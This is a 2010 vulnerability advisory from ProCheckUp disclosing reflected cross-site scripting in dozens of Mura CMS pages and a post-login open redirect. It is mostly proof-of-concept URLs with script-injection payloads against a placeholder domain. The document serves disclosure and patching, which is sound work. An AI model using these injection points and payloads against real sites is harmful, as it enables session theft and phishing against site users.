ProCheckUp Research
PR10-09 Multiple XSS and Cross Domain redirect within Mura CMS
Advisory publicly released: Monday, 13 December 2010
Vulnerability found: Monday, 19 April 2010
Vendor informed: Tuesday, 20 April 2010
Severity level: Medium
Credits
Richard Brain of ProCheckUp Ltd (www.procheckup.com<http://www.procheckup.com>)
Description
Mura is a Content Management System (CMS) that is based on the ColdFusion programming language.Procheckup has discovered that Various Mura programs are vulnerable to generic reflective Cross Site Scripting (XSS) attacks.
Note: Mura was tested on a fully patched Windows 2003 R2 SP2 and IIS 6, ColdFusion 8 and SQL 2005
were used as the application server and the backend database.
Mura Versions tested
5.2.2085
Proof of concept
The following demonstrate the XSS flaws:-
1) Unathenticated vanilla XSS. IE7 (Internet Explorer) browser used.
Login page XSS
http://target-domain.foo/admin/index.cfm?email="><script>alert(1)</script>&fuseaction=cLogin.main&returnURL=1&status=sendlogin
Error page XSS
http://target-domain.foo/default/error/index.cfm?error.diagnostics="><script>alert(1)</script>
Other XSS
http://target-domain.foo/admin/date_picker/dsp_dp_showmonth.cfm?+5=posn+1&dateLong="><script>alert(1)</script>
http://target-domain.foo/admin/date_picker/index.cfm?field="><script>alert(1)</script>
http://target-domain.foo/Admin/index.cfm?fuseaction=cLogin.main&returnURL=&status=sendlogin&email=<script>alert(1)</script>
http://target-domain.foo/admin/view/layouts/compact.cfm?fusebox.ajax="><script>alert(1)</script>&
http://target-domain.foo/admin/view/layouts/template.cfm?fusebox.ajax="><script>alert(1)</script>&myfusebox.originalcircuit=cLogin
http://target-domain.foo/admin/view/layouts/template.cfm?moduleTitle=</title><body><script>alert(1)</script>
http://target-domain.foo/admin/view/vAdvertising/dsp_editCreative.cfm?attributes.siteid="><script>alert(1)</script>
http://target-domain.foo/admin/view/vAdvertising/dsp_editIPWhiteList.cfm?attributes.siteid="><script>alert(1)</script>&
http://target-domain.foo/admin/view/vAdvertising/dsp_editPlacement.cfm?session.dateKey=<script>alert(1)</script>
http://target-domain.foo/admin/view/vAdvertising/dsp_listAdZones.cfm?attributes.keywords="><script>alert(1)</script>
http://target-domain.foo/admin/view/vAdvertising/dsp_listAdvertisers.cfm?attributes.keywords="><script>alert(1)</script>
http://target-domain.foo/admin/view/vAdvertising/dsp_listCampaigns.cfm?attributes.keywords="><script>alert(1)</script>
http://target-domain.foo/admin/view/vAdvertising/dsp_listCreatives.cfm?attributes.keywords="><script>alert(1)</script>
http://target-domain.foo/admin/view/vAdvertising/dsp_viewReportByCampaign.cfm?session.dateKey=<script>alert(1)</script>
http://target-domain.foo/admin/view/vAdvertising/dsp_viewReportByPlacement.cfm?session.dateKey=<script>alert(1)</script>
http://target-domain.foo/admin/view/vArchitecture/form/dsp_tab_related_content.cfm?attributes.siteid="><script>alert(1)</script>&session.rb=default
http://target-domain.foo/admin/view/vDashboard/dsp_sessionSearch.cfm?session.dateKey=<script>alert(1)</script>
http://target-domain.foo/admin/view/vDashboard/dsp_topContent.cfm?session.dateKey=<script>alert(1)</script>
http://target-domain.foo/admin/view/vDashboard/dsp_topRated.cfm?session.dateKey=application.contentManager.getCrumbListrsList.contentid,<script>alert(1)</script>
http://target-domain.foo/admin/view/vDashboard/dsp_topReferers.cfm?session.dateKey=application.contentManager.getCrumbListrsList.contentid,<script>alert(1)</script>
http://target-domain.foo/admin/view/vDashboard/dsp_topSearches.cfm?session.dateKey=application.contentManager.getCrumbListrsList.contentid,<script>alert(1)</script>
http://target-domain.foo/admin/view/vEmail_Broadcaster/dsp_form.cfm?session.dateKey=<script>alert(1)
</script>
http://target-domain.foo/admin/view/vEmail_Broadcaster/dsp_list.cfm?session.dateKey=<script>alert(1)
</script>
http://target-domain.foo/admin/view/vExtend/dsp_attribute_form.cfm?attributes.formName=TextBox,TextArea,HTMLEditor,SelectBox,MultiSelectBox,RadioGroup,File,Hidden/"><script>alert(1)
</script>&attributes.action=TextBox,TextArea,HTMLEditor,SelectBox,MultiSelectBox,RadioGroup,File,Hi
dden
http://target-domain.foo/admin/view/vExtend/dsp_editAttributes.cfm?attributes.extendSetID="><script>alert(1)</script>&attributes.subTypeID=extendSetssattributes.siteid=attributesArraya
http://target-domain.foo/admin/view/vExtend/dsp_listSets.cfm?attributes.siteid="><script>alert(1)</script>&attributes.subTypeID=extendSetss
http://target-domain.foo/admin/view/vExtend/dsp_listSubTypes.cfm?attributes.siteid="><script>alert(1)</script>
http://target-domain.foo/admin/view/vFeed/ajax/dsp_loadSite_old.cfm?attributes.siteid="><script>alert(1)</script>
http://target-domain.foo/admin/view/vFeed/dsp_list.cfm?attributes.siteid="><script>alert(1)</script>
http://target-domain.foo/admin/view/vMailingList/dsp_form.cfm?attributes.mlid=1&attributes.siteid="><script>alert(1)</script>
http://target-domain.foo/admin/view/vMailingList/dsp_list_members.cfm?attributes.siteid="><script>alert(1)
</script>
http://target-domain.foo/admin/view/vPrivateUsers/dsp_group.cfm?session.dateKey=<script>alert(1)</script>
http://target-domain.foo/admin/view/vPrivateUsers/dsp_secondary_menu.cfm?attributes.siteid="><script>alert(1)</script>
http://target-domain.foo/admin/view/vPrivateUsers/dsp_user.cfm?session.dateKey=<script>alert(1)</script>
http://target-domain.foo/admin/view/vPrivateUsers/dsp_userprofile.cfm?session.dateKey=<script>alert(1)</script>
http://target-domain.foo/admin/view/vPublicUsers/dsp_group.cfm?session.dateKey=<script>alert(1)</script>
http://target-domain.foo/admin/view/vPublicUsers/dsp_user.cfm?session.dateKey=<script>alert(1)</script>
http://target-domain.foo/admin/view/vSettings/dsp_plugin_form.cfm?session.dateKey=<script>alert(1)</script>
http://target-domain.foo/default/includes/display_objects/calendar/dsp_dp_showmonth.cfm?dateLong="><script>alert(1)</script>
The following are included within Mura, though are issues within the popular fusebox 5.5 library
http://target-domain.foo/default/includes/display_objects/custom/fuseboxtemplates/noxml/view/layout/lay_template.cfm?body="><script>alert(1)</script>
http://target-domain.foo/default/includes/display_objects/custom/fuseboxtemplates/xml/view/display/dsp_hello.cfm?runTime="><script>alert(1)</script>
http://target-domain.foo/default/includes/display_objects/custom/fuseboxtemplates/xml/view/layout/lay_template.cfm?body="><script>alert(1)</script>
http://target-domain.foo/default/includes/email/inc_email.cfm?bodyHtml=<script>alert(1)</script>&forward=1&rsEmail.site=pcutest@procheckup.com&
http://target-domain.foo/default/includes/email/inc_email.cfm?rsEmail.site=</title><body><script>alert(1)</script>
http://target-domain.foo/default/includes/themes/merced/templates/inc/header.cfm?request.siteid="><script>alert(1)</script>
http://target-domain.foo/default/includes/themes/merced/templates/inc/ie_conditional_includes.cfm?event.getSite.getAssetPath=1&themePath="><script>alert(1)</script>
http://target-domain.foo/default/utilities/sendtofriend.cfm?request.siteID=Default&url.link="><script>alert(1)</script>http://www.procheckup.com
Address field is vulnerable to XSS insert ><script>alert(1)</script> into address field.
http://target-domain.foo/requirements/mura/geoCoding/index.cfm?
http://target-domain.foo/wysiwyg/editor/plugins/selectlink/fck_selectlink.cfm?fuseaction=cArch.search&keywords="><script>alert(1)</script>&session.siteid=default
2) Offsite redirection after login
http://target-domain.foo/admin/index.cfm?fuseaction=cLogin.main&display=login&status=failed&rememberMe=1&contentid=&LinkServID=&returnURL=http://www.procheckup.com
How to fix
An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to a exposed Mura site. Such code would run within the security context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs) to unauthorised third parties.
Fix:
Apply the latest patches
References
Legal
Copyright 2010 Procheckup Ltd. All rights reserved.
Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes.
Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.